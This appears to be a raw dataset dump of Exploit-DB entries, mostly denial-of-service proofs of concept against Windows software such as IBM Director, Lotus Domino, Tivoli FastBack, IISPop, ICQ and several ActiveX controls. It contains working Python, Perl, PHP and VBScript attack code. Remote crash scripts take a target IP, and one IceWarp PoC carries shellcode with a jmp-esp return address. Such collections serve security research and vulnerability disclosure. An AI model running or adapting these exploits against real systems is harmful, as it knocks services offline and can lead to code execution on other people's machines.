deardaniel/secdata-raw huggingface dataset:
Exploit-DB #8190
Description: IBM Director 5.20.3su2 CIM Server - Remote Denial of Service
Type: dos
Platform: windows
Date: 2009-03-10
Author: Bernhard Mueller

Exploit:
SEC-CONSULT Security Advisory < 20090305-1 >
=========================================================================================
   title: IBM Director CIM Server Remote Denial of Service Vulnerability
   program: IBM Director for Windows
   vulnerable version: <= 5.20.3 Service Update 2
   homepage: http://www-03.ibm.com/systems/management/director/
   found: Sept. 2008
   by: Bernhard Mueller / SEC Consult Vulnerability Lab
   permanent link:
http://www.sec-consult.com/files/20090305-1_IBM_director_DoS.txt
=========================================================================================

Product description:
---------------

IBM Director is an application that can track and view system
configurations of remote computers. It is available for Linux, AIX, and
Windows servers.


Vulnerability overview:
----------------

The CIM server contained in the IBM Director suite for Microsoft Windows
is vulnerable to a remote denial of service attack. The vulnerability
allows an attacker to crash the service remotely. It will not be
possible to reach the IBM Director agent until the service is manually
restarted.


Vulnerability details:
--------------- 

CIM server crashes on receiving requests that contain overlong consumer
names. The error condition does not allow for the redirection of program
flow.

M-POST /CIMListener/[Ax512] HTTP/1.1
CIMOperation: MethodCall
CIMExport: MethodRequest
CIMExportMethod: ExportIndication

[some xml]


Fix:
---------------

The vendor has adressed this vulnerability in service update 2 for IBM
Director agent 5.20.3. Download link:

https://www14.software.ibm.com/webapp/iwm/web/reg/download.do?source=dmp&S_PKG=director_x_520&S_TACT=sms&lang=en_US&cp=UTF-8


vendor status:
---------------
vendor notified: 2008-11-03
patch available: 2009-03-09

--
~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
SEC Consult Unternehmensberatung GmbH

Office Vienna
Mooslackengasse 17
A-1190 Vienna
Austria

Tel.: +43 / 1 / 890 30 43 - 0
Fax.: +43 / 1 / 890 30 43 - 25
Mail: research at sec-consult dot com
www.sec-consult.com

# EOF Bernhard Mueller, SEC Consult Vulnerability Lab / @2009

# milw0rm.com [2009-03-10]
Exploit-DB #3602
Description: IBM Lotus Domino Server 6.5 - 'Username' Remote Denial of Service
Type: dos
Platform: windows
Date: 2007-03-29
Author: Winny Thomas

Exploit:
#!/usr/bin/python
#
# Remote DOS exploit code for IBM Lotus Domino Server 6.5. Tested on windows
# 2000 server SP4. The code crashes the IMAP server. Since this is a simple DOS
# where 256+ (but no more than 270) bytes for the username crashes the service
# this is likely to work on other windows platform aswell. Maybe someone can carry this further and come out
# with a code exec exploit.
#
# Author shall bear no reponsibility for any screw ups caused by using this code
# Winny Thomas :-)
#

import sys
import md5
import struct
import base64
import socket

def ExploitLotus(target):
       sock = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
       sock.connect((target, 143))
       response = sock.recv(1024)
       print response


       auth = 'a001 authenticate cram-md5\r\n'
       sock.send(auth)
       response = sock.recv(1024)
       print response

       # prepare digest of the response from server
       m = md5.new()
       m.update(response[2:0])
       digest = m.digest()

       payload = 'A' * 256
       # the following DWORD is stored in ECX
       # at the time of overflow the following call is made
       # call dword ptr [ecx]. However i couldnt find suitable conditions under which a stable pointer to our shellcode
       # could be used. Actually i have not searched hard enough :-).
       payload += struct.pack('<L', 0x58585858)

       # Base64 encode the user info to the server
       login = payload + ' ' + digest
       login = base64.encodestring(login) + '\r\n'

       sock.send(login)
       response = sock.recv(1024)
       print response

if __name__=="__main__":
       try:
               target = sys.argv[1]
       except IndexError:
               print 'Usage: %s <imap server>\n' % sys.argv[0]
               sys.exit(-1)

       ExploitLotus(target)

# milw0rm.com [2007-03-29]
Exploit-DB #38978
Description: IBM Tivoli Storage Manager FastBack Server 5.5.4.2 - Invalid Pointer Dereference
Type: dos
Platform: windows
Date: 2015-12-15
Author: Ptrace Security

Exploit:
#!/usr/bin/python
#         
################################################################################
#
#            Title: IBM Tivoli Storage Manager FastBack Server 5.5.4.2
#                   Invalid Pointer Dereference
#             Date: 14 December 2015
#           Author: Gianni Gnesa (gnix) 
#
#  Vendor Homepage: http://www.ibm.com/
#    Software Name: IBM Tivoli Storage Manager FastBack 
# Software Version: 5.5.4.2 (x86)
#    Software Link: - Go to https://www-01.ibm.com/marketing/iwm/tnd/search.jsp?pn=Tivoli+Storage+Manager
#                   - Select "IBM Tivoli Storage Manager FastBack Try-and-Buy" 
#                     (Version 5.5.4.2, Size: 120.7 MB)
#
#        Tested on: Windows 7 Professional (x86)
#
################################################################################
#
# Crash:
# ======
#
# (f60.654): Access violation - code c0000005 (first chance)
# First chance exceptions are reported before any exception handling.
# This exception may be expected and handled.
# eax=41414141 ebx=01bf4fb8 ecx=41414141 edx=41414141 esi=01bf4fb8 edi=00000000
# eip=0063d84a esp=01dce0c8 ebp=01dce0cc iopl=0         nv up ei pl nz na pe nc
# cs=001b  ss=0023  ds=0023  es=0023  fs=003b  gs=0000             efl=00010206
# FastBackServer!CLocation::GetLocationParams+0xa:
# 0063d84a 8b4004          mov     eax,dword ptr [eax+4] ds:0023:41414145=????????
#
################################################################################

import sys
import time
import socket
from struct import pack


def create_pkt(opcode, p1="", p2="", p3=""):

	# psAgentCommand (0x30 bytes)
	buf = "\x44" * 0xC
	buf+= pack("<L", opcode)			# opcode

	buf+= pack("<i", 0x0)				# 1st memcpy: offset (in psCommandBuffer.data) for Src field 
	buf+= pack("<i", len(p1)) 			# 1st memcpy: size field
	buf+= pack("<i", len(p1))			# 2nd memcpy: offset (in psCommandBuffer.data) for Src field
	buf+= pack("<i", len(p2)) 			# 2nd memcpy: size field
	buf+= pack("<i", len(p1) + len(p2))	# 3rd memcpy: offset (in psCommandBuffer.data) for Src field
	buf+= pack("<i", len(p3)) 			# 3rd memcpy: size field

	buf+= "\x44\x44\x44\x44"
	buf+= "\x44\x44\x44\x44"

	# psCommandBuffer
	buf+= p1
	buf+= p2
	buf+= p3
	
	# buf len - 4 because the packet length is not included
	buf = pack(">i", len(buf)-4) + buf
	
	return buf
	
	
def main():
	if len(sys.argv) != 2:
		print "Usage: %s <ip_address>\n" % sys.argv[0]
		sys.exit(1)

	server = sys.argv[1]
	port = 11460

	s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
	s.connect((server, port))
	
	pkt = create_pkt(	opcode = 0x537,
						p1 = "A" * 24000,
						p2 = "B" * 24000,
						p3 = "C" * 1000 )

	s.send(pkt)	
	s.close()
    
	print "[+] Packet sent."
	sys.exit(0) 
	
	
if __name__ == "__main__":
	main()
Exploit-DB #22117
Description: iCal 3.7 - HTTP Request Denial of Service
Type: dos
Platform: windows
Date: 2003-01-03
Author: securma massine

Exploit:
source: https://www.securityfocus.com/bid/6505/info

A denial of service vulnerability has been reported for iCal. The vulnerability occurs when iCal receives a specially formatted HTTP request. This will cause iCal to crash thereby leading to a denial of service.

Restarting the service is necessary to restore functionality. 

http//target/*
Exploit-DB #22118
Description: iCal 3.7 - Remote Buffer Overflow (PoC)
Type: dos
Platform: windows
Date: 2003-01-03
Author: securma massine

Exploit:
source: https://www.securityfocus.com/bid/6506/info

A buffer overflow vulnerability has been reported for iCal. The vulnerability occurs when the iCal web server receives an overly long HTTP request. This will cause iCal to crash and result in a denial of service condition.

Restarting the service is necessary to restore functionality.

nc target 80
AAAA
Exploit-DB #9141
Description: Icarus 2.0 - '.ICP' Local Stack Overflow (PoC)
Type: dos
Platform: windows
Date: 2009-07-14
Author: ThE g0bL!N

Exploit:
#!/usr/bin/perl
#Icarus 2.0(GUEST.ICP) Local Stack Overflow PoC
#By ThE g0bL!N
#usage: After Clicking On Perl File  Run The Program And Choose Continue  Booom The Program Crashed :)
################################################################
$Header="\x73\x65\x72\x76\x65\x72\x20\x3D" ;
$junk="\x41" x 5000 ;
###################################################################
open(myfile,'>>GUEST.ICP');
print myfile $Header.$junk;
###################################################################

# milw0rm.com [2009-07-14]
Exploit-DB #45388
Description: iCash 7.6.5 - Denial of Service (PoC)
Type: dos
Platform: windows
Date: 2018-09-12
Author: Gionathan Reale

Exploit:
# Exploit Title: iCash 7.6.5 - Denial of Service (PoC)
# Author: Gionathan "John" Reale
# Discovey Date: 2018-09-12
# Software Link: https://www.maxprog.com/site/misc/downloads_us.php
# Tested Version: 7.6.5
# Tested on OS: Windows 7 32-bit
# Steps to Reproduce: Run the python exploit script, it will create a new 
# file with the name "exploit.txt". Copy the content from "exploit.txt".
# Now start the program. When inside the program click "File" > "Connect to Server..."
# Now paste the contents of "exploit.txt" into the fields:"Host"
# Click the "Connect" button and you will see a crash!  

#!/usr/bin/python
   
buffer = "A" * 7000

payload = buffer
try:
    f=open("exploit.txt","w")
    print "[+] Creating %s bytes evil payload.." %len(payload)
    f.write(payload)
    f.close()
    print "[+] File created!"
except:
    print "File cannot be created"
Exploit-DB #8542
Description: Icewarp Merak Mail Server 9.4.1 - 'Base64FileEncode()' Buffer Overflow (PoC)
Type: dos
Platform: windows
Date: 2009-04-27
Author: Nine:Situations:Group

Exploit:
<?php
/* Icewarp Merak Mail Server 9.4.1 IceWarpServer.APIObject/api.dll
   Base64FileEncode() stack based buffer overflow poc
   by Nine:Situations:Group::surfista
   site: http://retrogod.altervista.org/

   api.dll contains a stack based buffer overflow in the second argument of
   Base64FileEncode() method, this shared library can be loaded ex. by the
   IceWarp PHP extension which is carried by the Webmail service. You have
   interesting results if the final argument of the icewarp_apiobjectcall()
   function is exposed to remote user input, which is possible by design, with
   the vulnerable method specified.
   We are searching a remote vector for this!

*/

if (php_sapi_name() <> "cgi-fcgi") {
        die("Launch from the merak php console!");
    }

if (!function_exists("icewarp_apiobjectcall")) {
        die("You need the icewarp extension loaded!");
   }

$shellcode= //original scode, alpha2 esp <sh.txt
"\xeb\x13\x5b\x31\xc0\x50\x31\xc0\x88\x43\x4a\x53".
"\xbb\x0d\x25\x86\x7c". //WinExec, kernel32.dll XP SP3
"\xff\xd3\x31\xc0\xe8\xe8\xff\xff\xff".
"cmd /c start calc && ".
"\xff";

$shellcode="TYIIIIIIIIIIIIIIII7QZjAXP0A0AkAAQ2AB2BB0BBABXP".
           "8ABuJIJK5CCktqO0rpP1kpOxcsczF3OKdMUumVQlkON3P1".
           "YPkXhhyokOyo1sPmST10FOqs7PSCrT1q3BrT5pRCaqPlRC".
           "wPQ6EvgPKOksA";

$eip="\x2c\x47\x4b\x01"; //jmp esp - icewarpphp.dll

$bof=str_repeat("A",0x258).
    "BBBBCCCCDDDDEEEEFFFFGGGGHHHHIIIIJJJJKKKKLLLLMMMMNNNN".
    $eip.
    $shellcode;

$_x = icewarp_apiobjectcall(0, '', 'IceWarpServer.APIObject');

$source="AAAA";
$destination=$bof;

icewarp_apiobjectcall( $_x, "Base64FileEncode", $source , $destination );

?>

# milw0rm.com [2009-04-27]
Exploit-DB #24880
Description: IconCool MP3 WAV Converter 3.00 Build 120518 - Stack Buffer Overflow
Type: dos
Platform: windows
Date: 2013-03-25
Author: G0li47h

Exploit:
# Exploit Title: IconCool MP3 WAV Converter Stack Buffer Overflow Vulnerability
# Date: 3/24/2013
# Exploit Author: G0li47h
# Vendor Homepage: http://www.iconcool.com
# Software Link: http://www.iconcool.com/insticoncoolmp3wavconverter.exe
# Version: v3.00 Build 120518
# Tested on: Windows 7 SP1


my $file= "BOF.mp3";
my $FILE;
my $junk = "\x41" x 30000000;


open($FILE,">$file");
print $FILE $junk;
close($FILE);
print "File Created successfully\n";
Exploit-DB #31656
Description: ICQ 6 - 'Personal Status Manager' Remote Buffer Overflow (PoC)
Type: dos
Platform: windows
Date: 2008-04-16
Author: Leon Juranic

Exploit:
source: https://www.securityfocus.com/bid/28803/info

ICQ is prone to a remote buffer-overflow vulnerability because the application fails to perform boundary checks before copying user-supplied data into sensitive process buffers.

A remote attacker may execute arbitrary code in the context of the affected application. Failed exploit attempts will result in a denial of service.

This issue affects ICQ 6 build 6043; other versions may also be vulnerable. 

------
|<a href="AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA"><img
src="AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA" border="0" /></a>|
------
Exploit-DB #8832
Description: ICQ 6.5 - URL Search Hook (Windows Explorer) Remote Buffer Overflow (PoC)
Type: dos
Platform: windows
Date: 2009-06-01
Author: Nine:Situations:Group

Exploit:
<?php
/*
ICQ 6.5 URL Search Hook/ICQToolBar.dll .URL file processing Windows Explorer
remote buffer overflow poc
by Nine:Situations:Group::pyrokinesis
site: http://retrogod.altervista.org/

If the resulting file is placed on the desktop, against ex. xp sp3
process explorer.exe will exit with code 1282 (0x502) that is
ERROR_STACK_BUFFER_OVERRUN and crash infinitely, you cannot even browse a folder
if the file is present in it
Solution: disable the shell extension, you may try shellexview by nirsoft

Note (added 30/05/2009, remote vector added): it works with network folders
too ...

against a win2k3 where explorer.exe is not patched with /GS flag:

(f44.104): Access violation - code c0000005 (first chance)
First chance exceptions are reported before any exception handling.
This exception may be expected and handled.
eax=02100068 ebx=772a23c1 ecx=0210cefa edx=00000823 esi=00610061 edi=00000000
eip=772a533f esp=0210cec0 ebp=0210cec4 iopl=0         nv up ei pl nz na po nc
cs=001b  ss=0023  ds=0023  es=0023  fs=003b  gs=0000             efl=00010202
SHLWAPI!Ordinal400+0x2d:
772a533f 668906          mov     word ptr [esi],ax        ds:0023:00610061=???? <-----
0:010> g
(f44.104): Access violation - code c0000005 (!!! second chance !!!)
eax=02100068 ebx=772a23c1 ecx=0210cefa edx=00000823 esi=00610061 edi=00000000
eip=772a533f esp=0210cec0 ebp=0210cec4 iopl=0         nv up ei pl nz na po nc
cs=001b  ss=0023  ds=0023  es=0023  fs=003b  gs=0000             efl=00010202
SHLWAPI!Ordinal400+0x2d:
772a533f 668906          mov     word ptr [esi],ax        ds:0023:00610061=???? <-----
0:010> gn
eax=00000001 ebx=00000000 ecx=00000000 edx=00000000 esi=00000000 edi=00000001
eip=7ffe0304 esp=0178fcf0 ebp=0178ff44 iopl=0         nv up ei pl zr na pe nc
cs=001b  ss=0023  ds=0023  es=0023  fs=003b  gs=0000             efl=00000246
SharedUserData!SystemCallStub+0x4:
7ffe0304 c3              ret

prepare a network folder with the .url file inside. This works
against Internet Explorer too by a hyperlink to the network folder
*/

$____x = "[InternetShortcut]\x0d\x0a".
         "URL=".str_repeat("\x61",2184);
file_put_contents("9sg_poc.url",$____x);
?>

# milw0rm.com [2009-06-01]
Exploit-DB #5217
Description: ICQ Toolbar 2.3 - ActiveX Remote Denial of Service
Type: dos
Platform: windows
Date: 2008-03-06
Author: spdr

Exploit:
<!--
	Lame ICQToolbar IE DoS - Crash IE and change toolbar color :p
-->

<html>
<object classid='clsid:855F3B16-6D32-4FE6-8A56-BBB695989046' id='toolbar' ></object>

<script language='vbscript'>
bof=String(128, "spdr")
toolbar.GetPropertyById "" ,bof

</script>
</html>

# milw0rm.com [2008-03-06]
Exploit-DB #3917
Description: ID Automation Linear Barcode - ActiveX Denial of Service
Type: dos
Platform: windows
Date: 2007-05-13
Author: shinnai

Exploit:
<span style="font: 14pt Courier New;"><p align="center"><b>2007/05/13</b></p></span>
<pre>
<code><span style="font: 10pt Courier New;"><span class="general1-symbol">--------------------------------------------------------------------------------------------------
 <b>ID Automation Linear Barcode ActiveX Control (IDAutomationLinear6.dll) v. 1.6.0.5 DoS</b>
 url: http://www.idautomation.com/
 price:	from $199 to $3,570

 author: shinnai
 mail: shinnai[at]autistici[dot]org
 site: http://shinnai.altervista.org

 Tested on Windows XP Professional SP2 all patched, with Internet Explorer 7
--------------------------------------------------------------------------------------------------

<object classid='clsid:0C3874AA-AB39-4B5E-A768-45F3CE6C6819' id='target' ></object>

<input language=VBScript onclick=tryMe() type=button value="Click here to start the test"> <input language=VBScript onclick=QuoteMe() type=button value="Quoting...">
<script language='vbscript'>
 Sub tryMe
   buff = ("AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA") & _
          ("AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA") & _
          ("AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA") & _
          ("AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA") & _
          ("AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA") & _
          ("AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA") & _
          ("AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA") & _
          ("AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA") & _
          ("AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA") & _
          ("AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA")
  target.SaveEnhWMF buff
 End Sub
 Sub QuoteMe
  Dim MyMsg
   MyMsg = MsgBox("...e avevo gli occhi gonfi di stupore nel sentire:" & vbCrLf & _
                  "Il cielo azzurro appare limpido e regale" & vbCrLf & _
                  "il cielo a volte, invece, ha qualche cosa di infernale.", 64, "2007/05/13 - ID Automation Linear Barcode 1.6")
 end sub
</script></span></span>
</code></pre>

# milw0rm.com [2007-05-13]
Exploit-DB #49898
Description: iDailyDiary 4.30 - Denial of Service (PoC)
Type: dos
Platform: windows
Date: 2021-05-24
Author: Ismael Nava

Exploit:
# Exploit Title: iDailyDiary 4.30 - Denial of Service (PoC)
# Date: 2021-05-21
# Exploit Author: Ismael Nava
# Vendor Homepage: https://www.splinterware.com/index.html
# Software Link: https://www.splinterware.com/download/iddfree.exe
# Version: 4.30
# Tested on: Windows 10 Home x64

#STEPS
# Open the program iDailyDiary
# Create a New Diary, put any name and check the option "Do not prompt for password", click in OK
# In the tab "View", click in "Preferences"
# Click in the option "Tabs"
# Run the python exploit script, it will create a new .txt files
# Copy the content of the file "Sotsu.txt"
# Paste the content in the field below "Default diary tab name when creating new tabs" 
# Click in Apply
# End :)


buffer = 'F' * 2000000

try: 
    file = open("Sotsu.txt","w")
    file.write(buffer)
    file.close()

    print("Archive ready")
except:
    print("Archive no ready")
Exploit-DB #37014
Description: iFTP 2.21 - Buffer Overflow Crash (PoC)
Type: dos
Platform: windows
Date: 2015-05-14
Author: dogo h@ck

Exploit:
#!/usr/bin/python
###########################################################################################
#Exploit Title:iFTP 2.21 Buffer OverFlow Crash PoC
#Author: dogo h@ck
#Date Discovered :  12-5-2015
#Vendor Homepage: http://www.memecode.com/iftp.php
#Software Link: http://www.memecode.com/data/iftp-win32-v2.21.exe
#Version: 2.21
#Tested on : Windows XP Sp3
###########################################################################################
#Crash : Go to Connect >  Host Address > Post it
#Bad Characters (\x00\x09\x0a\x0d\x80 and all from \x80 To \xFF I know It's FU&^% :( )
############################################################################################

buffer = "A"*1865
buffer +="BBBB" #Pointer to next SEH record
buffer +="CCCC" #SE handler
buffer +="D"*500
file = "buffer.txt"

f = open(file, "w")

f.write(buffer)

f.close()
Exploit-DB #22019
Description: IISPop 1.161/1.181 - Remote Buffer Overflow (Denial of Service) (PoC)
Type: dos
Platform: windows
Date: 2002-11-14
Author: securma massine

Exploit:
source: https://www.securityfocus.com/bid/6183/info

IISPop is vulnerable to a denial of service caused by a buffer overflow. By sending an unusually large amount of data to IISPop on TCP port 110, the application will terminate with an access violation. Arbitrary code execution may be possible.

#!/usr/bin/perl -w
# tool : iispdos.pl
# shutdown all version of IISPop
# greetz crack.fr , marocit ,christal
#

use IO::Socket;

$ARGC=@ARGV;
if ($ARGC !=1) {
print "\n-->";
print "\tUsage: perl iispdos.pl <host> \n";
exit;
}

$remo = $ARGV[0];
$buffer = "A" x 289999;

print "\n-->";
print "\tconnection with $remo\n";
unless ($so = IO::Socket::INET->new (Proto => "TCP",
PeerAddr => $remo,
PeerPort
=> "110"))
{
print "-->";
print "\tConnection Failed...\n";
exit;
}
print $so "$buffer\n";
close $so;

print "-->";
print "\tnow test if the distant host is down\n";
exit;
Exploit-DB #5086
Description: ImageStation - 'SonyISUpload.cab 1.0.0.38' ActiveX Buffer Overflow (PoC)
Type: dos
Platform: windows
Date: 2008-02-08
Author: Trancek

Exploit:
<html>
<head><title>Buffer Overflow Vulnerability in AxRUploadServer.dll, Activex Method (SetLogging)</title></head>
<body>
Dll name:AxRUploadServer.dll
Download: http://www.imagestation.com/common/classes/SonyISUpload.cab?v=1,0,0,38
</br></br>
Description:
This file belongs to ImageStation that is a servicemark of Sony Electronics Inc.
</br></br>
Internal name:
The ez-Upload control.
</br></br>
Access Violation when executing 0x42424242</br>
........................................</br>
Registers:</br>
--------------------------------------------------</br>
EIP 42424242</br>
EAX 42424242</br>
EBX 00000001</br>
ECX 00FE50B0 -> 00FE0290</br>
EDX 00FE0608 -> 00187440 -> Uni: @t@t</br>
EDI 00000000</br>
ESI 00000000</br>
EBP 0013E6C4 -> 0013E6E4</br>
ESP 0013E68C -> 0145636A -> Asc: jcEjcE</br>
</br></br></br>
Discovered by:</br>
Trancek, http://www.trancek.es
</br></br>
Greetz: p1mp4m.es(sky, pepepistola, elvispresley, patoruzu, musashi)
</br></br></br>
<object classid='clsid:E9A7F56F-C40F-4928-8C6F-7A72F2A25222' id='bof'></object>
<input language=VBScript onclick=Son() type=button value="Explotar">

<script language='vbscript'>
 Sub Son
	arg1=String(5922, "A")
	arg2=String(5, "B")

	bof.SetLogging arg1 + arg2
 End Sub
</script>
</body>
</html>

# milw0rm.com [2008-02-08]